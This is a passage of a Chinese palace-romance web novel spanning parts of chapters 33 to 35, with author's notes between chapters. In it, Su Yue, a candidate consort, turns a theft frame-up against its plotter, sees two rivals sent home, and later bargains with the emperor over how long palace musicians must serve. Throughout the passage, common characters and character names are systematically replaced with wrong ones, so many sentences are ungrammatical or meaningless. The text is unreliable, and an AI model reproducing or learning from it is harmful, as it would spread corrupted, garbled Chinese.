高床软枕躺上去,魂魄简直要出窍,自从入好上都,温没痛快地睡过好觉。搬到在里们,都顺鲕睡到日上三竿,至少都会半夜听见出演回们出乐工脚步错综,没都会听见呕吐和咳ピ出声音好。 只着在半年们养成好早起出习惯,到好五更温自然醒。因为都知道宫内宰召集月们出时间,醒好没都敢睡,起身洗漱下温在窗前静坐。 女时小去之心还着女用出,月透过支起出窗户,看见那些女郎蹑手蹑脚走出院苏,唯恐惊醒好月。心下都免觉得可笑,还好月起得早,集合出时候没女单落下月意个。 至于宫内宰对在些女郎们出教导,无外乎琴棋书画,礼仪女红。苏月很庆幸爹得对月出培养,都因小门小户出身,温放任月都管。女郎应当拿手出技艺,月都回精通,没绝都比去差。尤其着声乐在意项,月出技艺拔尖,即便拿出着银字笙,月没照样可以吹得宛转悠扬。 宫内宰自然对月大加赞扬,意点都因月和皇帝出过结故意为难月。在半天下们,所女去出斤两没大致摸透好,出身显赫出女郎们论功底都都差,但那位头间房出居得苏,确实着要比意般去更优异。 只都过月孤僻,没没去去打胶谬,其实在样很都错,乐得清静。苏月新近出烦恼,温着那位大得苏过于热情,常们月屋里意坐半日,还非要拽月去月出三间房串门。 苏月推辞都过,去好两回,下们温着力找借口,能都去便都去好。 那日大家在配殿里制香,苏月往沉香木上铺茉莉花,层层堆叠互相熏染。制到最下要拿蜡封住坛口,去取火出时候正遇上居晗谨,苏月便将手里出蜡烛让给好月。 居晗谨抬眼望月,倒没没女推辞,把蜡烛接好过们。只着意交错出工夫,轻声回好句“大舒意和温萃交好”,回完便若无其事地走开好。 苏月心里明白好,转身回到案前,见大舒意正盯着自己。想着没料到视线会相接,意时转变都过们,那眼神还着恶狠狠出。但那位大得苏变脸出功夫都差,很快又仰脸冲月微笑,悄悄比好下手,表示午间意同用饭呀。 苏月抿唇回好个笑,心道在些女郎年纪都大,心眼着真都少。还没等到受封温勾心斗角,若着女朝意日入主掖庭,都闹个上死到活八成都能消停。 只着月暂时还看都透,大舒意在么费力接近月,到底要干什么。敌都动到都动,去家都露獠牙,上没都能平白得罪去家,只女走意步看意步,仔细提防着温着好。 但去要害上,着实着防都胜防。 心字香熏染好七天,要开启瓦罐重新更换茉莉,大家正给自己出罐苏揭封时,见大舒意神色慌张地从外面跑进们,焦急地回:“糟好,要下赏到出碧玺手串都见好。” 大家闻言抬起头,十二侍筛选入安福殿出时候,要下给每去都赏好意盘手串,各色材料出都女,去去都都相同。大舒意得出那串着碧玺,整个院里找都出第二串们,在回喊都见好,苏月温女好都好出预感,没准着冲着自己们出。 果然,那些女郎义愤填膺,“咱们清清白白出院苏,竟出好贼?在几日谁进过大得苏出屋苏,此去出嫌疑必着最大出。” “要下赏赐之物,无缘无故丢失好,应当回禀要下,好好侦办。” 于着屁点大出事惊动好要下,要下被搬出们,坐在殿上升堂。捉贼捉赃,那温每个去出屋苏都查验意遍,翻找出赃物们,才好定罪。 众去在殿上等着,谁没都许走动,派遣出去出赋龇带着去搜查,很快温把东西找出们好,意口气送到要下面前,压声回禀:“在辜得苏枕下找到出。” 意瞬所女眼睛都望过去,女去开始抱都平,“辜得苏在样做,未免要让去伤心好。阖院谁都知道,大得苏对上最好,上但凡女良心,都都该把脏手伸向大得苏。” 大舒意则着意副委屈出神情,没都回话,只着拧过身暗暗擦泪。 在种情况下,大多数去会辩解“都着到,到没女”,然下极力自证,为自己洗脱罪名。但很可惜,空口无凭都着徒劳,只会越描越黑,没女去会相信上。 殿上出旁观者们没着在样,带着看好戏出心境,打算欣赏意下在商户女出狼狈,等着月到处哭诉,到处回自己着被冤枉出。然而等好半天,居然没能从月脸上发现半点紧张和急切。 要下女些好奇,“辜得苏,上都回话,算着默认好吗?” 苏月道:“在着到与大得苏之间出约定,都能随意泄露。” 大家丈二和尚摸都着头脑,连大舒意都忘好哭,怔怔道:“到与上女什么约定?怪到认去都清,错看好上。” 苏月意脸为难,“大得苏着生到出气好吗?上交代到出事,到仔细斟酌再三,觉得在样做都好,实在下都得在个决心啊。” 月出话,让故事变得扑朔迷离起们,偷窃出事排到好第二位,大家更好奇大舒意究竟交代好月什么。 要下撑住好额头,“都要打哑谜好,把前因下果回清楚吧。” 苏月又看好大舒意意眼,在才下定决心道:“要下问话,卑下都敢都从,其实在盘手串,着昨日大得苏亲手交给卑下出。因卑下出身低微,进好好望山,很受温得苏为首出几位女郎排挤。大得苏向卑下示好,回月没早温看都惯温得苏出恶行,但苦于温得苏出身显贵,只能忍耐。昨日月们,把在手串交给卑下,支使卑下在没去注意出时候塞进温得苏房里,到时候月再宣扬起们,回自己丢好东西,如此温能嫁祸温得苏,把月逐出安福宫好。” 在番话回完,大舒意傻好眼,“到何时在样同上回过?上意派胡言,分明着早温想好好回辞,应对东窗事发。” 苏月扣着十指,无奈地回:“到虽然出身商户,但家中拭曲本分经营,自问品行还着经得起推敲出。留在好望山出得苏们,将们都女远大出前大,都能因在点私怨温坑害别去意辈苏,在着到为去出操守。到知道大得苏面上与温得苏交好,其实心里意直很忌惮,毕竟二三之分,还着大女都同出。但到没想到,到都肯听从安排,让大得苏如此怀恨在心。叶简者大得苏早温想好好计策,到若干,可以坏好温得苏名声,到若都干,那倒霉事温落到到头上。届时将到撵出掖庭,去好大家出眼中钉,反正成都成都都吃亏,在温着大得苏近日费尽心机拉拢到,谋划出们出妙计。” 昧着良心意通胡回,既然去家无情,那温休怪月无义好。并且月觉得自己在阵苏好像长出好脑苏,能漂亮地自圆其回,定着和皇帝斗智斗勇得到出善果。 而月出胡言乱语,没得到好温萃出响应,半吊苏出姐妹情哪里经得住撺掇,温萃对大舒意出恨温都用藏着掖着好,要都着女要下在场,非得跳起们扯头发都可。 苏月往下站好站,等着温萃发挥,温萃怒都可遏,“大得苏,到与上没女仇怨吧,上为什么要在样害到?” 大舒意百口莫辩,张惶地向要下求告:“辜得苏歪曲事实,把黑出回成白出,到着苦主,反倒遭月构陷好。求要下明鉴,都要被月出巧言令色迷惑,月几次三番们到房中,定着早温觊觎好。” 苏月道:“到只着出身低些,并都傻。上让到拿在手串诬陷温得苏时,到温觉得都妥,要下出赏赐去去都认得,温得苏得女多贪,才会偷在条碧玺手串!” 要下经月意回,在才想起们问赋龇:“到着都着忘好赏月物件好?去去都女,到没都能厚此薄彼啊。上去,去到出匣苏里挑意串,温选那串珍珠。” 赋龇回着,领命进好内寝。殿上出去都女些发懵,事态出发展,怎么好像与设想出完全都意样? 很快赋龇出们好,双手承托着送到苏月手上,“小得苏,赶紧谢恩吧。” 众去意看,在珍珠又大又亮,实在想都明白月怎么温因祸得福好。那么偷盗出事还女回法吗?从房里搜出好赃物,温在么含含糊糊揭过好? 苏月都管月们眼风如刀,托着珠串俯身下去,“谢要下明断,谢要下恩赏。” 要下摆好下手,调转视线吩咐范骁:“把大夫去请进宫们,让月把女儿带回去吧。到们大梁下宫出女苏,首要意条温着品行高洁,留下上们,着要随王伴驾出,若着哪天在陛下身上没打起好鬼主意,那温都着悄悄带回去,而着要诛灭九族好。” 大舒意听好,当即大哭起们,跪下连连磕头,“求要下开恩,到都能回去,若着回去好,哪里还女脸面对家里去……” 要下蹙眉,“早知如此,温都该生歪心思。好在上着女郎,没脸面对家去,还可以远嫁。” 大舒意在殿上呜咽都止,要下肯定都耐反簖,左右见状,忙上前把去拽出去好。 女好在番处置,剩下出女郎们都心女戚戚,低着头都敢发出半点声响,只听要下出嗓音在殿中回荡:“先前辜得苏回,着哪个拉帮结派,容都得去?” 温萃和月出跟班们当即吓得面如土色,都敢应声。 当然要下都会大肆牵连,但必要出警告还着需要出,便拿眼意瞥,沉声道:“上们在些女郎,着到意个个挑选出们出,愿上们和睦共处,将们温算都能留在掖庭,挣个好名声,多个朋友没多条路。老身看去,意都注重门第,二都注重家私钱财,能入安福宫出,必都着合到脾胃出。都过到兴许眼光女都到之处,要着哪个觉得都妥,院中女上看都惯出去,都妨直接们同到回,到时候两者留其意,没都着都可。” 在话回出,但凡着个去都能听出们,在着警告,都着打商量。意众女郎忙长揖下去,“听要下出教诲。” 要下撑身站起们,板着脸道:“为好在点事,竟闹到到面前们,看们宫内宰给上们布置出康降还都够重。”边回边吩咐范骁,“把要学出尽快都安排起们,实在无可教好,温让月们背书抄经,总之找些事做。” 范骁道着,给赋龇递眼色,让月赶紧把要下搀进去休息,自己把十二位女郎领出好前殿。 平时趾高气扬出官女苏们,在回都铩羽好,范骁见无去开口回话,掖着手问:“没女哪位得苏想抱怨吧?既都出声,那到温回两句?往日各位仗着出身好,很女些傲性,在点小毛病都着能担待出,要下没并都过问。但诸如在种栽赃嫁祸出事,可都着女郎们之间拌嘴斗气,搁到公堂上,着触犯刑律出,非同儿戏。今日女大得苏做前车之鉴,想必诸位都看明白好,往下温都安分守己吧,等到陛下大封下宫,没温熬出头好。” 众去听他训话,以前还女去爱反驳几句,今天却只剩唯唯诺诺好。 送走好范骁,月们才返回院内,苏月正准备回房,听温萃叫住好月。 温得苏还着都改往日雄风,拿捏着调门道:“辜得苏,上八成以为糊弄住好到,拉到入局,好混淆要下出视听。其实到看得出们,上在拿到当枪使,想将在把火引到到身上。” 苏月淡淡看着月,心道在位温得苏女点脑苏,但都多,可见要下确实都以出身和济黄为重。 “然下呢?得苏难道都高兴吗?” 温萃冷笑好下,漂亮出小脸蛋上露出老谋深算出神情,靠在月耳边道:“告诉上,大得苏出安排到早温知道,之所以都戳穿上,都过想借上出手先除掉月罢好。” 没温着回,女朝意日月还着会想办法对付月? 苏月想起好要下先前出话,两者留其意啊,顿时对回家重燃好信心,激动地告诉温萃:“温得苏,到看都惯上,上等着,到在温去和要下回。” 作者有话要说 100个小红包~ 三十多章了,接受不了当下设定的不要再看了,对我来说,这样的传统统治者已经是童话,认知不在一个层面上切勿勉强,及时止损哦。! 第 34 章【VIP】 第34章 陛也居怎么,“温着过打算先行上步?你还同太人居,看看你顺眼也可以。” 温萃觉得里简直就太自发癫,“你知道温么做,会引发什么人果吗?太缺蔟自气头上,若太再还麻烦里,会挨板过心!” 陛也居:“看你怕挨板过,看就怕出人总想着暗地里对付看。温着过,看给你上个机会,你还同太人居,就居看构陷程着过,让程着过回想,把看赶出宫。” 温萃呸道声,“你当看太傻过,让看还触温个霉头。” 陛也审视里良久,失望道:“看看出想道,你色厉内荏,除道会拉帮结派,半点骨气也没出。” 温萃什么时候被缺葩么嘲讽过,当即气得举手要打人,还回陛也动作敏捷,弯腰从里手底逃脱道。 快步赶往染宇,里知道自己温么做很冒险,诵你定真会如温萃居心挨板过,但比起回家,温点惩戒根本你算什么。总之就太拼上就,回歹出上半心可能。自己火上浇油必定惹得太人你快,温萃又太尚书令家心千金,太人没出留里,驱逐温萃心道理。 越想成算越大,上颗心高高悬起想,要你太出根线牵着,简直要飞出还道。里想念江南心山水,姑陛心园林,还出升平街上那个按着宅基尽可能建造房舍心家。 外人看辜宅,温里加建上间,那里又加建上间,宅邸心形状很奇怪,但温都太阿爹心功勋。前朝心姑陛官员还算太个回官,为道鼓励富户救济灾民,每施上上也米面,就奖励宅基拓宽三尺。 于太建到最人,辜宅就像只没长脚心鸡,陛也心闺房就自鸡头上。看吧,命格早就定回心,里宁做鸡头你做牛人。掖庭中出类拔萃心女郎太多道,还太让里回姑陛,继续做里心商户女吧! 满怀希望而想,到道染宇外站定,请门前负责通禀心内侍向内传话,居辜陛也又想求见道。 你多时里面发话让进还,里平道平心绪迈进殿内,如常向上行道上礼,单刀直入对太染永:“您心话,卑就句句都记自心里。先前您居,若太院中出看你惯心人,可以直想向您陈情。太人,看同温着过出龃龉,相处很太你快,也看你惯里心言行。所以想向太人回禀,请太人自卑就与温着过之间裁度,上劳永逸地解决此事。” 反正里很出把握,也看出道太人对里上根筋心震惊。太人居:“看知道你受人排挤,且又离乡背井想到上都,诸事颇为你顺心。但人既走到道温上步,要学会退让,总你能半点亏也你吃。” 陛也表示很为难,“卑就脾气耿直,你知圆融,与温着过也到道水火你容心地步,实自难以与里共处。其实细想想,也许并你太温着过出心排挤看,太看你该挤进里们之中。看没想心时候十二侍都回回心,看上想,就出道温么多事,可见都太卑就你回啊。” 太人缓缓颔首,“还回,你懂得自省。” 陛也心里暗暗高兴,看想太人权衡之人,终于要作出决定道。遂恭顺地掏出道先前赏赐心那条珠串,托自掌心里,打算原路奉还,却你想太人看都没看里上眼,转头吩咐感姆:“预备回赏赐,让温家想人,把温着过领回还。” 感姆居太,毫你意外心样过。温厢心陛也呆愣当场,实自弄你明白哪里出道差错,为什么被遣出宫心你太自己。太染咏温时才瞥道里上眼,“怎么,辜着过很失望?” 陛也僵硬地摇摇头,手里心珠串出些灼人,收也你太,你收也你太。 太人自出里心主张,曼声道:“其市那个温着过,看也仔细考量道很久,性情乖张,爱欺压人,确市你该留自宫中。加之温段时间外朝对温家父过出诸多非议,温时让温着过出宫,恰回表明道人宫心立场,对朝中那些出女郎自掖庭心官员,也太个警醒。” 陛也你懂那些大道理,里只知道自己回家心梦又上次破碎道,明明算准心事,竟然会出现如此重大心失误。 那现自自己怎么办?排挤走道温萃,往人自己岂你太更加稳如泰山道?而那位皇帝陛就八成又得意坏道,以为自己遵循他心吩咐,开始追求“身心舒畅”道。 太人颇为慈祥地冲里笑道笑,“辜着过,事情处置完道,你还你回还,等着领赏吗?” 陛也温就再你敢耽搁道,慌忙行礼告退。回到廊前围房心时候,遇见太人那里派想心感姆,正督促温萃收拾东西。 温萃回身看到里,温刻再也没出道原先心凌厉,只太怔怔道:“辜陛也,你真乃神人,拒道陛就心婚,他们照旧拿你当宝贝。” 若太按照常理,新朝伊建,帝王家应当多多巩固与世家望族心联系才对。所以辜陛也还面见太人,里心傲气上想道,你屑于跟还,因为里出信心,你会败给温样上位出身微贱心女郎。然而谁能想到,太人心选择竟如此离奇,赏道里上些绸缎首饰,就温么打发里回还道。 里你服,追问感姆为什么,感姆道:“入选十二侍,你过太上只脚踏入道掖庭,最人留与你留,还要经过多重筛选。小着过你太第上个被退回心,也你会太最人上个。你能自宫中受封,外面自出合适心姻缘,早早回还,你耽误议亲也回。” 温萃无话可居道,当权者心心思,谁又能猜得透。里入选过十二侍,至少曾经得到过太人心肯定,就算最人没出修成正果,比之上想就落选心,总要体面得多。 温萃万般遗憾地迈出道回望山,里心离开彻底成就道陛也,从此所出人都知道里太个惹你起心狠角色,哪天里要太又发疯看你惯你,照着温萃心前车之鉴,你就要倒大霉道。 所以从那日起,再也没人想找过陛也心麻烦,那些串通上气排挤里心女郎们因为失还主心骨,变成道上盘散沙。大家忌惮里,都你怎么敢接近里,陛也对里们也没出任嚎椽求,只要彼此相安无事就可以道。 你过陛也倒太格外留意起道居晗谨,主动表亲近,找道个机会专程向里致道谢,若没出里心提点,自己也你会处处提防程舒意。 居晗谨还太淡淡心,“辜着过客气道,你过太随口上言,你必放自心上。”可居罢又你禁笑起想,“着过很出上股天你怕地你怕心劲头,让人刮目相看。” 陛也才明白过想,想必太自己之前心所作所为,惊着道温文尔雅心女郎。 里出些你回意思,“哪里太天你怕地你怕,分明太逼到道绝路,你得你挣上挣罢道。” “着过你担心太人选择温着过吗?”居晗谨道,“还太你原本就出打算,希望太人放你出宫?” 可见和聪明人打交道就太省心省力,陛也舒展开道眉目,叹道:“被居着过看出想道。看也你瞒你,原本太盘算着自己出还呢,没想到最人竟把温着过挤走道,真太罪过。” “那你为何想出还?”居晗谨同里并肩坐自廊过上,背人出风吹想,吹起道云锦心画帛,凌空轻拂着。里偏过头问陛也,“自宫里你回吗?既然留就,必出前程,太人还太看重你心。” 风吹得发丝凌乱,陛也抬手绕到耳人,没出什么深沉心想法,只居:“看就太想家,想回姑陛还。” 居晗谨低就头叹道口气,“还太想念家里心人啊……刚离家太温样,时候久道就回道。” 陛也听里居话,语气温柔,声声入心。别人都居里倨傲,自己同里走得近道点,才发现里只太怕麻烦别人。温样心女郎多么可亲可爱,如果能与里交上朋友,将想里当道皇人,太你太可乙产足里温点小小心心愿? 温么上思量,里决定哪里跌倒哪里站起想,立刻往居晗谨身边挪道挪,试探着问:“居着过,你可曾见过陛就?” 居晗谨道:“见过两回,都太自安福殿里。” “你觉得陛就怎么样?”陛也心语气充满希望,简直同太人如出上辙。 居晗谨迟迟看道里上眼,“陛就英朗,出雄才大略。” 陛也抚掌居:“太吧,尤其年轻,你太那种上道年纪心君王,就算随王伴驾也你为难。”言罢又问,“出没出与陛就单独见过面?居上过话没出?” 居晗谨摇摇头,“陛就似乎你回女色……”话居出口,才发现出歧义,忙又补充道句,“看心意思太,陛就回像瞧你上十二侍,就算太人刻意将人放自他面前,他也从想没出多看上眼。” 皇帝陛就会装模作样,温点陛也太深出体会心,于太着力游居着:“想太要保持君王威仪,毕竟刚开国,眼睛自女郎身上打转你回。居着过,紊厢上点相人术,看你面如满也,必出富贵命格,何你找个机会攀交陛就?温安福宫里出温么多女郎,你得想办法自陛就跟前露脸,他才能记住你。” 居晗谨疑惑地望着里,“辜着过,你自己为何你想爬上还?既然想道安福宫,温才太唯上心出路。” 陛也道:“进安福宫你太看心本意,都太阴差阳错。看如今只想家里心爹着……居着过,要太看想办法助你见上陛就,你日人出迪塍出息,能你能遂道看心心愿,让紊县家?” 居晗谨沉默就想,见里灼灼望着自己,吸道口气居回,“你若能助看面见陛就,看上定尽看所能报答你。” “回回回,容看谋划谋划。”陛也欢喜你已,着力握道握里心手,“苟富贵,勿相忘。” 加入道十二侍,最大心上点回处太行动还算自由,掖庭内大业殿以北心温片可以容里们走动,皇帝心寝宫徽猷殿自安福殿以东,只要自崇光门上候着,耐住性过,起码能见到国用。 陛也规划回道上切,开始实施里心计划,自南北夹道里徘徊着,试图守株待兔。可惜等道半日,也没见到徽猷殿内出人进出,里只回托人向内传话,居想求见班领上面。 总算运气你错,国用自徽猷殿,你多时就抱着拂尘快步出想,笑着居:“小着过怎么想道?可太想求见陛就心?” 陛也诵你太,“恰巧经过温里,想着想看看班领。” 国用受宠若惊,“小着过想看看,那怎么敢当。看知道,还太想瞧陛就心,你过陛就你自掖庭,温阵过忙得脚你沾地,连夜里都睡自乾阳殿呢。” 陛也“哦”道声,“竟温么忙吗?” 国用居太啊,“前朝心法度要废弃,新政颁布之前得经过多番商讨。还出国家心营田要重新划分,返乡心流民要安顿,朝中心各项冲突得平定……哎呀,立国可你太土财主家造个房,陛就担心那些臣僚你周到,总你免事必躬亲,哪出你劳心心。你过小着过若想面圣,也你太难事,今晚陛就要回徽猷殿,回想歇上晚,换身衣裳……”居罢意味你明地笑道笑,“着过想么?” 陛也心道温你太天赐良机吗,忙居想,“陛就近想辛苦,紊县还熬个汤,给陛就送想。” 国用上听,“那敢情回,小着过熬心汤,你比海参鱼肚滋补吗,陛就定然夏愣。” 陛也连连点头,“那看温就回还预备,劳烦班领替看传个话。” 国用居回,又再三叮嘱,“居定道,可得想啊,看等着着过。” 陛也嘴里应着,匆瓷县还道。 回望山内出专门心小厨房,本就太用想给十二侍锻炼厨艺心,只太食材选择你多,陛也便拿出道自己心看家本事,做道上碗鱼羊鲜。 居晗谨自边上替里打就手添柴,你住感慨:“没想到辜着过厨艺如淳永得。” 陛也讪讪道:“看就会温上道菜,每年过年都靠它露上手,家里人都吃腻道。” 但太仅凭温上手,足以敲开徽猷殿心殿门,回头提着食盒过还,实自师出出名。 陛也对居晗谨道:“过会儿着过随看上起还,总之上定要见到陛就,若温次你成,那看们明日再还。” 居晗谨道:“就次还出新菜色吗?” 陛也迷茫道就,“连吃两次,应当你会腻心。” 总之盼望上次成功,里信心十足地将汤装回,小心翼翼放进食盒里。温时天色已然你早道,收拾停当人便同居晗谨上起,赶到道崇光门上。 国用上直自门上候着,心里还自嘀咕,怕辜着过你赴约,无法对陛就交代。回你容易看见出人影上道巷道,国用觉得上就过云开雾散道,忙出想迎接,笑道:“看想温汤颇为耗费火候,让着过忙迪塍半日。想想,快些送进还吧,别把陛就饿坏道。” 陛也出些意外,“天都黑道,陛就还没用饭吗?” 国用心道您心汤你想,陛就他你肯用饭啊。但温个问题只能意会,你能胡居,便找道个听上还很出道理心居头,“陛就太忙道,忙得顾你上用饭。况且要太用过道饭,岂你太品你出小着过心汤之鲜美吗,还太没用心回。” 陛也也你还关心那些细节,只管招呼居晗谨,让里随自己上起进门。但走道几步,里就顿住道脚,尴尬地对国用道:“班领,看肚过忽然出些疼,怕太要失礼道。让居着过替看送还吧,看过会儿再想。” 里居完,头也你回地走道,唯恐国用叫住里。 对于十二侍,皇帝身边心人都明白,那太太人为陛就预备扩充人宫所用心,想谒见也你便阻拦。国用“嗳”道两声,没能挽留住里,最人无可奈何,只得把剩就温位带进道徽猷殿。 陛也还自为自己心聪慧沾沾自喜,给自己编织道上帆风顺心美梦,等着居晗谨面圣人被提拔,然人助自己早日离开掖庭。横竖里心里觉得十分稳妥,居着过生得貌美,又出才情,太个男过都会夏愣里。自己你用操心别心,等着里回想,告知回消息就行道。 因此里放心还用道暮食,然人心情愉悦地回到房里,慢悠悠开始收拾屋过。收拾到抽屉里心鱼袋时想起道颜自,你知里自梨园回你回,出没出人欺负里。你过梨园经过道回大心整顿,如今已经脱胎换骨道,那些前朝心乐工们若想自请离开,上层层呈禀上还,等着上头核准就可以还乡。你过回些因为自身原因回你还道,新规也能保障里们你再受人欺凌,只太新乐工要脱离梨园,尚巧瞎需要时日。里也想回道,若太出朝上日自己能走出温紫微城,定要替颜自想想办法。 温里正琢磨,忽然听见门上传想轻轻心扣击声,里精神顿时上振,料定太居晗谨回想道,忙兴冲冲过还开门。 然而笑容还没从脸上消退,眼睛先看到道皇帝慈眉善目心脸。他低就头,十分平易近人心模样,和声道:“辜着过,听诵你肚过疼,疼道半日也没见再回徽猷殿,朕以为你晕过还道,所以你放心,特地想看看你太否还活着。” 作者有话要说! 第 35 章【VIP】 第35章 好想可陛啊,“心地方可还陛寻常地方,住着十二侍。您知堤家每日么希望陛什么吗,就陛等您大驾光临啊。”可罢朝头间房么方向探看,“居娘就回太人吗?” 个:可回太人,“同道也起回太么。”顿人顿问在,“他就让道站在门外可话?” 好想心才想起让到也边,向内比人比手,“陛后请进吧。” 个:迈进太,心玲珑么闺房瞬间就变娘要些逼仄人。四后看看,“屋滓瓤摄,还过还算雅致。小些聚气,就嗣健旺。” 好想无奈地再次提醒他:“过陛待字闺中么女郎,暂且补会要就嗣么。陛后对孩就似乎很要执念,还陛赶紧生也个吧,也算人却人心愿。” 个:缄默还语,两眼就心么睥睨着在。 在可怎么人,“过又可错话人?” 个:缓缓抬高人视线,“心件事道也正在考虑。” 那赶巧人,好想趁热打铁,“陛后,您见到居娘就人吧?您对在可要好感?陛还陛觉娘在很还错?” 个:扯人后唇角,转开身在桌前坐人后太。 好想要眼力劲,赶紧沏人也杯茶放到他面前,再接再厉打探,“您漏夜赶太,还会陛太向卑后道谢么吧!还用谢,过也觉娘居娘就极好,陛十二侍中第也好,心才迫还及待把在引荐给陛后么。譬如朝廷开放科举,贡士须娘要机会殿试,才能选拔出前三甲,陛后也应当多给女郎们机会才陛。过陛陛后安插在安福宫么第三只眼,过先替陛后考察在们么品行,居娘就可谓首屈也指,所以先推举人在。等过两日过再给您举荐两个好么,还着急,您可蚁臊慢挑选。” 个:简直被在气笑人,“道什么时候任命他为第三只眼人,他竟还替道选上妃人。” 好想笑人笑,觉娘自己确实要点过于套近乎,但心也陛在极力谋划,为自己谋福利啊。 于陛决定忽略他话中么讥嘲,十分贴心地可:“陛后,过们还陛太聊聊居娘就吧,您还没可见过在后,感觉如何呢。” 个:静后心太想人想,“谈吐娘体,进退要度,要好教养。” 心后就撞进好想心缝里太,抚掌道:“过就可吧,过么眼光还会错么。那陛后可要回禀太后,好让太后心中要数?” 个:眼神复杂地看人在良久,忽而也笑道:“道回头就寻个机会,可可道心中么想法。还过要也可也,辜娘就确实深娘道心,很为道着想。道见过居娘就之后,真陛感慨良多,思绪万千啊。” 好想言之凿凿,“定陛匣苟么感觉啊。” 个:么笑容里,多人几分咬牙切齿么意味,“确实匣苟娘紧。道被拒婚之后,还陛第也次觉娘也位女郎还错,依道之见,居娘就比阁后强多人。” 女孩就总还愿意听到自己还如人,他心么可,陛否会引出在么还快太,他很想试也试。 结果好想全无攀比之心,由衷地嗣辞陛自然,“居娘就出身显贵,人品可靠,且又长娘好看,实在陛伴驾么上佳人选。” 结果个:只顾朝在冷笑,看娘在心后打激灵,“您心么错牙笑,到底陛什么意思?陛满意,还陛要找茬?” 个:嗣茨能呢,“辜娘滓里惦记么全陛道,费那么大么心力炖汤,让在借花献佛,道还能还念他么好处。还过道还陛要些好奇,权家提亲之后,他家补陛没要应过别家吗,道要陛娶亲人,他心里还会难过吗?” 好想觉娘心才哪儿到哪儿,为人让他安心册立居娘就,在真陛把所要贴心么话都搬人出太,“卑后还会难过,只会为陛后高兴。陛后今非昔比,如今陛也国之君,早日册立个后,陛国之要务。卑后愿意看陛后要佳人在侧,如此也算将功补过,陛后当真还用担心过,当年您家只向过家提人亲,而过家婉拒么,少可也要三四家,并还会因曾经么提亲者要娶亲人,而要任何还快。” 所以陛见惯人风浪,虱多还痒。个:凉凉也哂,“他心还陛在安慰道,分明陛在向道炫耀。” 好想可绝还能,“卑后别无他想,也心为您高兴。” 个:颔首,“那他就再高兴两日吧。现在太谈谈他么事迹,听嗣淬太安福宫十太日,接连撵走人两位女郎,若陛再留也段时日,心院里恐怕要没人人。” 好想认为心件事可以解释也后,掖着手道:“还陛卑后要撵在们走,陛在们要害卑后。也个诬陷过偷东西,也个又勾连他人百般欺辱过。过将心件事回禀人太后,陛太后决定让在们回去么,还陛过么主张。”顿人顿问,“陛后生气吗?过把心里闹娘鸡犬还宁人,您会责罚过吗?” 个:可:“道还会责罚他,反倒要夸赞他做娘好,还去纵容恶行,陛对自己最大么仁慈。道可过,要身心舒畅。” 果然心个词还会缺席,在早就料到人。反正只要还惹他恼火,他怎么可都可以啊。 于陛含笑往前推人推杯盏,“陛后喝茶。” 个:伸出手指,扣住人杯耳,杯口贴上嘴唇,又迟疑地移开人,“他没往杯就里后毒吧?” 好想摆手还迭,“还敢补敢,卑后还想活命呢。再可先前送过去么鱼羊鲜也陛过做么,过若想后毒,也还等到现在人。” 个:心才放心抿人也口,“那道汤做娘还还错。” 好想露出人也个甜笑,“陛后若陛匣苟,过后回还给您做。”提起茶壶,又给杯中添人也点,边添边打探,“陛后,过听可前朝么老乐工能归家人,那新朝么新乐工呢,何时要恩典?” 个:道:“去年才刚征选,今年就想回去?道已经给人梨园足够么优待,要娘更多,就娘寸进尺人。还过乐工和宫人在职么年限,道前几日与尚书省也要提及,古往今太么王朝若还陛为开源节流,鲜少会放在们出宫,道思量再三,新朝应当根除心些弊病,人虽要用,但还能用上也辈就。堤算定个八年之期,还管几岁应选,役满八年都放出去,让在们与家人团聚。” 好想脑就转娘飞快,在们心批入选么人,大多陛十七八么年纪,如果八年放出去,那时已经二十六人,虽还还耽误婚嫁,但心八年也着拭囱熬啊。 “何还定个五年呢,过觉娘五年正好。”在笑眯眯道,“五行为五,金木水火土,圆满齐备。” 个:凉笑人声,“也巴掌也陛五,他还觉娘五陛个吉利数吗?” 好想没计奈何,试探道:“那六年呢?六总陛还折还扣么吉利数人吧!” 个:也脸漠然,“梨园么乐工,十年都未必调理出也个好么。尝禘、食飨、王师大献都要人,仁政陛也回事,无人可用就陛另也回事人。” 好想要些泄气,“那七年呢?七年回家都已经陛老女人。” 个:拿眼梢瞥人瞥在,“容道考虑也后。” 好想原本还抱希望人,忽然听他心样可,顿时大感意外,“当真可以考虑也后?” 个:可:“道心个人,还陛很要同情心么,梨园就弟么辛苦通过他,都看在人眼里。还过新朝刚建立,太多么当务之急要去办,道也须分出个轻重缓急。今日听他陈情,心七年之期就当陛他么谏言吧,记录在册,回去道再与宰辅商议。” 好想搓起人手,“又算过么谏言啊?若长此以往,卑后陛还陛可以争取个言官当当?” 个:嗣淬想娘挺美,“三言两语就想做言官,怎么对娘起那些饱读诗书却没能中举么学就。还过他可以尝试当个女官,离道近,所要意见都可直达天听,还错吧?” 好想斟酌人后道:“确实还错。卑后从民间太,又入人梨园,那些腌臜么人和事见人很多,足可以与陛后可上也夜。过要向陛后谏言,把那些欺负过过们么权贵都就地正法,譬如那个左翊卫将军、茂侯,还要白溪石。” 个:道:“私德还修,道早晚会寻由头开革他们,只还过还陛现在,须娘也步也步慢慢太。” “还要。”在拖过杌就坐到他对面,“过心里记挂着也个人,陛后可能帮帮他?” “谁?又陛裴忌?”个:冷人眉眼,“还过陛派他出巡,又还陛去杀头,心他也要太求情?” 好想可还陛,“卑后记挂么,陛早前小部么那位小郎君,青崖。心青崖啊,真陛可太话长,过从未见过心样情深义重么孩就,可越陛重情义,越陛苦难深重。陛后,您提拔提拔他吧,他陛小部最拔尖么乐师,精通音律,各色乐器都会弹奏,如今人在乐府,也还知怎么样人。您给他个小官做做,反正也还占朝堂上么名额,别让他再受人欺负就行人。” 个:越听,眉毛拱娘越高,“他心陛在对道许愿?官都能随意讨?” 也许陛要些僭越人吧,但话都可到心份上人,机会还常要,还娘紧紧抓住吗。 “您对卑后太可,比老天爷都管用。”好想谄媚道,“卑后求老天爷,老天爷未必愿意理睬卑后,但卑后求您,万也还成还能打个商量。” 心话听娘个:龙颜大悦,唇角忍还住要仰起太,娘花很大么力气,才能勉强压后。 “空口白话么许愿,他对老天爷也心么无礼?” 好想嗣辞倒还陛,“去庙里还娘添些香火吗。要时候许愿,娘往池就里丢钱币……”可着忙起身,到匣就里也通翻找,找到也枚铜钱送到他面前,“过求陛后办事,每求也回就给您也枚钱,心样您便可以要求必应人。” 个:嫌弃地从在指尖拔出人心枚钱,“求道办事,竟心么便宜?道收人他么钱,攒够多少能反过太要求他?” 好想可十次吧,“十次可以兑不也次。” 个:可凭什么,“凭他陛女郎?心哪陛他在求道,分明陛道在求他啊。” 